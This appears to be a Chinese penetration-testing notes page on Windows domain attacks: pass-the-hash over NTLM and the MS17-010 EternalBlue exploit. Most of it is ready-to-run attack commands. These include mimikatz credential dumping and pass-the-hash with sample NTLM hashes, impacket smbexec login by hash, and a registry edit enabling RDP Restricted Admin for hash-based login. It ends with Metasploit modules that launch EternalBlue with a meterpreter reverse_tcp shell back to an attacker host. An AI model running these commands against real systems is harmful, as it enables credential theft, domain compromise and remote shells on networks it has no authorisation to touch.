前言
参考:
https://zhuanlan.zhihu.com/p/472019671
哈希传递(Pass The Hash)
哈希传递(Pass The Hash,PTH)是一种针对 NTLM 协议的攻击技术,在 NTLM 身份认证的第三步中生成 Response 时,客户端直接使用用户的 NTLM 哈希值进行计算,用户的明文密码并不参与整个认证过程,所以只需要获取了有效的用户名和密码哈希值后,就能使用该信息访问远程主机
在域环境中,用户登录计算机时一般使用域账号,大多数计算机在安装时可能会使用相同的本地管理员账号和密码,因此,攻击者就能使用哈希传递攻击的方法来批量登录内网中的其他主机。
利用
可以使用 mimikatz 进行 pth
首先需要抓取用户哈希
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords full" exit
然后利用抓到的域管理员 NTLM Hash 进行哈希传递
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:Administrator /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637" exit
成功则会弹出一个新的命令行窗口,具有域管理员权限,可以访问域控的 CIFS 服务
也可以使用 impacket,其中具有远程执行功能的脚本几乎都可以进行 pth,如 psexec.py、smbexec.py、wmiexec.py
smbexec.py -hashes :2f1b57eefb2d152196836b0516abea80 xiaorang.lab/administrator@172.22.9.26
#smbexec.py -hashes LM Hash(如果废弃则可以为空):NTLM Hash domain/username@ip
登录远程桌面
条件:
- 远程主机开启了”受限管理员模式”
- 用于登录远程桌面的用户位于远程主机的管理员组中
- 目标用户的哈希
Windows 8.1 和 Windows Server 2012 R2 及以上版本的 Windows 采用了新版的 RDP,支持受限管理员模式(Restricted Admin Mode)且默认开启。开启该模式后可以直接通过 pth 登录远程桌面,无需明文密码
手动开启受限管理员模式:
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f
验证:
REG query "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin
利用:使用 mimikatz,以受限管理员模式运行远程桌面客户端
privilege::debug
sekurlsa::pth /user:Administrator /domain:host1 /ntlm:b2781ba85ac750ec286744b009599637 "/run:mstsc.exe /restrictedadmin"
注意,受限管理员模式只对管理员组中的用户有效,如果获取到的用户属于远程桌面用户组,就无法 pth 登录
永恒之蓝
MS17-010
影响范围:Windows Vista、Windows 7/8.1/10、Windows Server 2008/2012/2016
metasploit 内置了 EternalBlue 的检测和利用模块
检测:
use auxiliary/scanner/smb/smb_ms17_010
set rhosts 10.10.10.14
set threads 10
exploit
利用:
use exploit/windows/smb/smb_ms17_010_eternalblue
set rhosts 10.10.10.14
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.10.147
set lport 4444
exploit